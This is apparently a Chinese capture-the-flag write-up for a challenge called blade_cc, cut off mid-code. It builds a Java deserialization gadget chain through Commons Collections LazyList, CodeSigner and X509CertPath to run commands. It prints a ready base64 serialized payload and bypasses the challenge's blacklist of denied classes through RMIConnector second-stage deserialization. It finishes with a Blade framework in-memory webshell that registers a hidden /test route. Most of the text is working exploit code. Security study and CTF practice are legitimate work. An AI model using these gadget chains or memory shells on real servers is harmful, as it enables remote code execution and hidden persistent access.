Lilctf_blade_cc

这个题目的大部分链子存在博客里面:

https://www.n1ght.cn/2024/04/17/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9Ecommons-collections-TransformedList%E8%A7%A6%E5%8F%91transform/

所用到的类java原生类和common-collections类
cc
jdk版本是
jdk1.8.0_162
看到之前师傅总结的cc链子的图,我去使用CodeQL寻找了一下,发现除了Map,List也能触发。
我找了一个可以触发到transform的链子,剩下的作用如InvokerTransform触发二次反序列化没有写,这边使用ChainedTransformer做一个例子
调用链:
image

分析

eventListener触发CodeSigner的toString方法

image

image
signerCertPath.getCertificates().get(0)
这一行代码
image
调用了signerCertPath的get(0)
image
也就是LazyList的get(0),由于factory用的是

1
new ConstantFactory(chainedTransformer)

所以object就为chainedTransformer
image
进入
image
image
最后就进入了InvokerTransform的transform
image
由于CertPath重写了writeReplace导致序列化异常,我使用了agent将其hook掉

agent hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.n1ght;  

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.security.cert.CertPath;

public class RemoveReplaceTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if(className.equals("java/security/cert/CertPath")){
try {
System.out.println(true);
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("java.security.cert.CertPath");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.detach();
return ctClass.toBytecode();
}catch (Exception e){
System.out.println(e);;
}

}

return classfileBuffer;
}

}

将agent加上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package com.web;  


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.list.LazyList;
import org.apache.commons.collections.list.TransformedList;
import org.apache.commons.collections.map.ListOrderedMap;
import sun.misc.Unsafe;
import sun.security.provider.certpath.X509CertPath;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.CodeSigner;
import java.util.*;

public class ccExp {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
ArrayList<Object> list = new ArrayList<>();
list.add(null);
List decorate1 = TransformedList.decorate(list, chainedTransformer);
List decorate = LazyList.decorate(decorate1, new ConstantFactory(chainedTransformer));
HashMap<Object, Object> map = new HashMap<>();
ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get((Object) null);
unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);
X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);
Object o1 = unsafe.allocateInstance(CodeSigner.class);
unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(o1);
unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});
ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(list2);
System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));
ByteArrayInputStream bin = new ByteArrayInputStream(bao.toByteArray());
new ObjectInputStream(bin).readObject();
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Field getField(Class<?> clazz, String fieldName) {
Field field = null;

try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException var4) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}

return field;
}
}

将base64编码内容,序列化
image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.example.web;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Test {
public static void main(String[] args) throws Exception {
String s = "rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdLE2xn2E6tZEAwAAeHB0ABdqYXZhLmxhbmcuSW50ZXJuYWxFcnJvcnNyABxqYXZheC5zd2luZy51bmRvLlVuZG9NYW5hZ2Vy4ysheUxxykICAAJJAA5pbmRleE9mTmV4dEFkZEkABWxpbWl0eHIAHWphdmF4LnN3aW5nLnVuZG8uQ29tcG91bmRFZGl0pZ5QulPblf0CAAJaAAppblByb2dyZXNzTAAFZWRpdHN0ABJMamF2YS91dGlsL1ZlY3Rvcjt4cgAlamF2YXguc3dpbmcudW5kby5BYnN0cmFjdFVuZG9hYmxlRWRpdAgNG47tAgsQAgACWgAFYWxpdmVaAAtoYXNCZWVuRG9uZXhwAQEBc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAGRzcgAYamF2YS5zZWN1cml0eS5Db2RlU2lnbmVyXqL6Zsshmq0CAAJMAA5zaWduZXJDZXJ0UGF0aHQAHUxqYXZhL3NlY3VyaXR5L2NlcnQvQ2VydFBhdGg7TAAJdGltZXN0YW1wdAAZTGphdmEvc2VjdXJpdHkvVGltZXN0YW1wO3hwc3IAK3N1bi5zZWN1cml0eS5wcm92aWRlci5jZXJ0cGF0aC5YNTA5Q2VydFBhdGhFP1T3TEUgtAIAAUwABWNlcnRzdAAQTGphdmEvdXRpbC9MaXN0O3hyABtqYXZhLnNlY3VyaXR5LmNlcnQuQ2VydFBhdGhUN4mXfdPl+wIAAUwABHR5cGV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHBzcgAsb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmxpc3QuTGF6eUxpc3ToSpYmWppU8gIAAUwAB2ZhY3Rvcnl0AChMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL0ZhY3Rvcnk7eHIARW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5saXN0LkFic3RyYWN0U2VyaWFsaXphYmxlTGlzdERlY29yYXRvciVC5Cn2jXtrAwAAeHBzcgAzb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmxpc3QuVHJhbnNmb3JtZWRMaXN0DvL1W62zYVUCAAB4cgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbGxlY3Rpb24uVHJhbnNmb3JtZWRDb2xsZWN0aW9ueKFA96RzDpoCAAFMAAt0cmFuc2Zvcm1lcnQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHIAUW9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5jb2xsZWN0aW9uLkFic3RyYWN0U2VyaWFsaXphYmxlQ29sbGVjdGlvbkRlY29yYXRvcla8EBO7pqE0AwAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAXcEAAAAAXB4eHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3EAfgAJTAALaU1ldGhvZE5hbWVxAH4AFFsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cQB+AAsAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADFzcQB+ACt1cQB+AAsAAAACcHB0AAZpbnZva2V1cQB+ADEAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgALc3EAfgArdXEAfgALAAAAAXQABGNhbGN0AARleGVjdXEAfgAxAAAAAXEAfgA0eHNyADdvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRGYWN0b3J5zyQKt21bKggCAAFMAAlpQ29uc3RhbnRxAH4AJ3hwcQB+ACNwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBweAAAAAAAAABkcHg=";
byte[] decode = Base64.getDecoder().decode(s);
System.out.println(new String(decode));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
new ObjectInputStream(byteArrayInputStream).readObject();
}
}

image

可以看到这道题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
String[] denyClasses = { "java.net.InetAddress",
"sun.rmi.transport.tcp.TCPTransport",
"sun.rmi.transport.tcp.TCPEndpoint",
"sun.rmi.transport.LiveRef",
"sun.rmi.server.UnicastServerRef",
"sun.rmi.server.UnicastRemoteObject",
"org.apache.commons.collections.map.TransformedMap",
"org.apache.commons.collections.functors.ChainedTransformer",
"org.apache.commons.collections.functors.InstantiateTransformer",
"org.apache.commons.collections.map.LazyMap",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter",
"org.apache.commons.collections.functors.ConstantTransformer",
"org.apache.commons.collections.functors.MapTransformer",
"org.apache.commons.collections.functors.FactoryTransformer",
"org.apache.commons.collections.functors.InstantiateFactory",
"org.apache.commons.collections.keyvalue.TiedMapEntry",
"javax.management.BadAttributeValueExpException",
"org.apache.commons.collections.map.DefaultedMap",
"org.apache.commons.collections.bag.TreeBag",
"org.apache.commons.collections.comparators.TransformingComparator",
"org.apache.commons.collections.functors.TransformerClosure",
"java.util.Hashtable",
"java.util.HashMap",
"java.net.URL",
"com.sun.rowset.JdbcRowSetImpl",
"java.security.SignedObject",
};

我们可以使用rmi二次反序列化

rmi二次反序列化

也就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
package com.n1ght;


import com.n1ght.javassist.TomcatEcho;
import com.n1ght.sink.SinkTools;
import com.sun.org.apache.bcel.internal.Repository;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.list.LazyList;
import org.apache.commons.collections.list.TransformedList;
import org.apache.commons.collections.map.ListOrderedMap;
import sun.misc.Unsafe;
import sun.security.provider.certpath.X509CertPath;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.security.CodeSigner;
import java.util.*;


public class ccExp {
public static String getPayload() throws Exception {
Object templates = SinkTools.getTemplates(Repository.lookupClass(Exp.class).getBytes());
// Object templates = SinkTools.getTemplates(TomcatEcho.testCalc());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
ArrayList<Object> list = new ArrayList<>();
list.add(null);
List decorate1 = TransformedList.decorate(list, invokerTransformer);
List decorate = LazyList.decorate(decorate1, new ConstantFactory(templates));
HashMap<Object, Object> map = new HashMap<>();
ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get((Object) null);
unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);
X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);
Object o1 = unsafe.allocateInstance(CodeSigner.class);
unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(o1);
unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});
ByteArrayOutputStream bao = new ByteArrayOutputStream();
new ObjectOutputStream(bao).writeObject(list2);
return Base64.getEncoder().encodeToString(bao.toByteArray());
}
public static void main(String[] args) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
ReflectTools.setFieldValue(jmxServiceURL, "urlPath", "/stub/"+getPayload());
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
ArrayList<Object> list = new ArrayList<>();
list.add(null);
List decorate1 = TransformedList.decorate(list, invokerTransformer);
List decorate = LazyList.decorate(decorate1, new ConstantFactory(rmiConnector));
HashMap<Object, Object> map = new HashMap<>();
ListOrderedMap decorated = (ListOrderedMap) ListOrderedMap.decorate(map);
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get((Object) null);
unsafe.putObject(decorated, unsafe.objectFieldOffset(ListOrderedMap.class.getDeclaredField("insertOrder")), decorate);
X509CertPath o = (X509CertPath) unsafe.allocateInstance(X509CertPath.class);
unsafe.putObject(o, unsafe.objectFieldOffset(X509CertPath.class.getDeclaredField("certs")), decorate);
Object o1 = unsafe.allocateInstance(CodeSigner.class);
unsafe.putObject(o1, unsafe.objectFieldOffset(CodeSigner.class.getDeclaredField("signerCertPath")), o);
EventListenerList list2 = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(o1);
unsafe.putObject(list2,unsafe.objectFieldOffset(list2.getClass().getDeclaredField("listenerList")),new Object[]{InternalError.class, manager});
FileOutputStream fileOutputStream = new FileOutputStream("1.ser");
new ObjectOutputStream(fileOutputStream).writeObject(list2);

new N1ghtObjectInputStream(new FileInputStream("1.ser")).readObject();
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Field getField(Class<?> clazz, String fieldName) {
Field field = null;

try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException var4) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}

return field;
}
}


ReflectionTools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.n1ght;

import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import sun.reflect.ReflectionFactory;

public class ReflectTools {
public ReflectTools() {
}

public static void setAccessible(AccessibleObject member) throws Exception {
member.setAccessible(true);
}

public static Field getField(Class<?> clazz, String fieldName) {
Field field = null;

try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
} catch (Exception var4) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}

return field;
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}

public static Constructor<?> getFirstCtor(String name) throws Exception {
Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor);
return ctor;
}

public static Object newInstance(String className, Object... args) throws Exception {
return getFirstCtor(className).newInstance(args);
}

public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T) sc.newInstance(consArgs);
}

public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
HashMap<Object, Object> s = new HashMap();
setFieldValue(s, "size", 2);

Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException var6) {
nodeC = Class.forName("java.util.HashMap$EntAry");
}

Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}

public static Method getDeclaredMethod(Class clazz, String methodName, Class[] params) {
Method method = null;

while(clazz != null) {
try {
method = clazz.getDeclaredMethod(methodName, params);
method.setAccessible(true);
break;
} catch (NoSuchMethodException var5) {
clazz = clazz.getSuperclass();
}
}

return method;
}

public static Method getMethod(Class clazz, String methodName, Class[] params) {
Method method = null;

while(clazz != null) {
try {
method = clazz.getMethod(methodName, params);
break;
} catch (NoSuchMethodException var5) {
clazz = clazz.getSuperclass();
}
}

return method;
}
}

SinkTools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class SinkTools {
public SinkTools() {
}

public static Object getTemplates(byte[] byteCode) {
try {
Object templates = new TemplatesImpl();
ReflectTools.setFieldValue(templates, "_name", "n1ght");
ReflectTools.setFieldValue(templates, "_sdom", new ThreadLocal());
ReflectTools.setFieldValue(templates, "_tfactory", null);
ReflectTools.setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});
return templates;
} catch (Exception var2) {
System.out.println("Error: " + var2);
return null;
}
}
}

但是由于本题不出网

blade内存马

获取Context

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
System.out.println("start");
Class<?> name = Class.forName("sun.misc.Unsafe");
Field theUnsafe = name.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Thread thread = Thread.currentThread();
ThreadLocal<Object> objectThreadLocal = new ThreadLocal<>();
Method getMap = ThreadLocal.class.getDeclaredMethod("getMap", Thread.class);
getMap.setAccessible(true);
Object threadLocals = getMap.invoke(objectThreadLocal, thread);
Class<?> threadLocalMap = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tablesFiled = threadLocalMap.getDeclaredField("table");
tablesFiled.setAccessible(true);
Object table = tablesFiled.get(threadLocals);
Object o = null;
for (int i = 0; i < Array.getLength(table); i++) {
try {
Object o1 = Array.get(table, i);
System.out.println(o1.getClass().getName());
if(o1.getClass().getName().equals("java.lang.ThreadLocal$ThreadLocalMap$Entry")){
o = Array.get(table, i);
}
}catch (Exception e) {
}
}
System.out.println(o);
Class<?> entry = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
Field valueField = entry.getDeclaredField("value");
valueField.setAccessible(true);
InternalThreadLocalMap value = (InternalThreadLocalMap) valueField.get(o);
WebContext context = null;
for (int i = 0; i < value.size(); i++) {
try {
if (value.indexedVariable(i).getClass().getName().equals("com.hellokaton.blade.mvc.WebContext")) {
context = (WebContext) value.indexedVariable(i);
break;
}
}catch (Exception e) {

}
}

可以看到RouteMethodHandler的routeHandle逻辑

image

首先要注解为@Path,然后有返回类型,获取的方法

也就是

1
Route route = new Route(HttpMethod.ALL, "/test", Exp.class, Exp.class.getDeclaredMethod("exp"));

这样看如何注册route

image

image

可以看到我们将他加入到routeMatcher和staticMapping里面即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ChannelHandlerContext channelHandlerContext = context.getChannelHandlerContext();
HttpServerHandler handler = (HttpServerHandler) channelHandlerContext.handler();
RouteMethodHandler routeHandler = (RouteMethodHandler) unsafe.getObject(handler, unsafe.objectFieldOffset(HttpServerHandler.class.getDeclaredField("routeHandler")));
RouteMatcher routeMatcher = (RouteMatcher) unsafe.getObject(routeHandler, unsafe.objectFieldOffset(RouteMethodHandler.class.getDeclaredField("routeMatcher")));
Path annotation = Exp.class.getAnnotation(Path.class);
System.out.println("annotations: " + annotation);
Route route = new Route(HttpMethod.ALL, "/test", Exp.class, Exp.class.getDeclaredMethod("exp"));
route.setTarget(new Exp("aaa"));
Method addRoute = routeMatcher.getClass().getDeclaredMethod("addRoute", Route.class);
addRoute.setAccessible(true);
addRoute.invoke(routeMatcher,route);
System.out.println(routeHandler);
StaticMapping staticMapping = routeMatcher.getStaticMapping();
staticMapping.addRoute("/test",HttpMethod.ALL,route);

这边的new Exp("aaa")

image

防止陷入回环地址

所以整个的exp是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
package com.n1ght;

import com.hellokaton.blade.annotation.Path;
import com.hellokaton.blade.mvc.WebContext;
import com.hellokaton.blade.mvc.http.*;
import com.hellokaton.blade.mvc.route.Route;
import com.hellokaton.blade.mvc.route.RouteMatcher;
import com.hellokaton.blade.mvc.route.mapping.StaticMapping;
import com.hellokaton.blade.server.HttpServerHandler;
import com.hellokaton.blade.server.RouteMethodHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import io.netty.channel.ChannelHandlerContext;
import io.netty.util.internal.InternalThreadLocalMap;
import sun.misc.Unsafe;

import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

@Path
public class Exp extends AbstractTranslet {
public Exp() throws Exception{
System.out.println("start");
Class<?> name = Class.forName("sun.misc.Unsafe");
Field theUnsafe = name.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Thread thread = Thread.currentThread();
ThreadLocal<Object> objectThreadLocal = new ThreadLocal<>();
Method getMap = ThreadLocal.class.getDeclaredMethod("getMap", Thread.class);
getMap.setAccessible(true);
Object threadLocals = getMap.invoke(objectThreadLocal, thread);
Class<?> threadLocalMap = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tablesFiled = threadLocalMap.getDeclaredField("table");
tablesFiled.setAccessible(true);
Object table = tablesFiled.get(threadLocals);
Object o = null;
for (int i = 0; i < Array.getLength(table); i++) {
try {
Object o1 = Array.get(table, i);
System.out.println(o1.getClass().getName());
if(o1.getClass().getName().equals("java.lang.ThreadLocal$ThreadLocalMap$Entry")){
o = Array.get(table, i);
}
}catch (Exception e) {
}
}
System.out.println(o);
Class<?> entry = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
Field valueField = entry.getDeclaredField("value");
valueField.setAccessible(true);
InternalThreadLocalMap value = (InternalThreadLocalMap) valueField.get(o);
WebContext context = null;
for (int i = 0; i < value.size(); i++) {
try {
if (value.indexedVariable(i).getClass().getName().equals("com.hellokaton.blade.mvc.WebContext")) {
context = (WebContext) value.indexedVariable(i);
break;
}
}catch (Exception e) {

}
}
ChannelHandlerContext channelHandlerContext = context.getChannelHandlerContext();
HttpServerHandler handler = (HttpServerHandler) channelHandlerContext.handler();
RouteMethodHandler routeHandler = (RouteMethodHandler) unsafe.getObject(handler, unsafe.objectFieldOffset(HttpServerHandler.class.getDeclaredField("routeHandler")));
RouteMatcher routeMatcher = (RouteMatcher) unsafe.getObject(routeHandler, unsafe.objectFieldOffset(RouteMethodHandler.class.getDeclaredField("routeMatcher")));
Path annotation = Exp.class.getAnnotation(Path.class);
System.out.println("annotations: " + annotation);
Route route = new Route(HttpMethod.ALL, "/test", Exp.class, Exp.class.getDeclaredMethod("exp"));
route.setTarget(new Exp("aaa"));
Method addRoute = routeMatcher.getClass().getDeclaredMethod("addRoute", Route.class);
addRoute.setAccessible(true);
addRoute.invoke(routeMatcher,route);
System.out.println(routeHandler);
StaticMapping staticMapping = routeMatcher.getStaticMapping();
staticMapping.addRoute("/test",HttpMethod.ALL,route);


}
public Exp(String aaa){
System.out.println("aaa");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public void exp() throws Exception{
Class<?> name = Class.forName("sun.misc.Unsafe");
Field theUnsafe = name.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Thread thread = Thread.currentThread();
ThreadLocal<Object> objectThreadLocal = new ThreadLocal<>();
Method getMap = ThreadLocal.class.getDeclaredMethod("getMap", Thread.class);
getMap.setAccessible(true);
Object threadLocals = getMap.invoke(objectThreadLocal, thread);
Class<?> threadLocalMap = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tablesFiled = threadLocalMap.getDeclaredField("table");
tablesFiled.setAccessible(true);
Object table = tablesFiled.get(threadLocals);
Object o = null;
for (int i = 0; i < Array.getLength(table); i++) {
try {
Object o1 = Array.get(table, i);
if(o1.getClass().getName().equals("java.lang.ThreadLocal$ThreadLocalMap$Entry")){
o = Array.get(table, i);
}
}catch (Exception e) {
}
}
System.out.println(o);
Class<?> entry = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
Field valueField = entry.getDeclaredField("value");
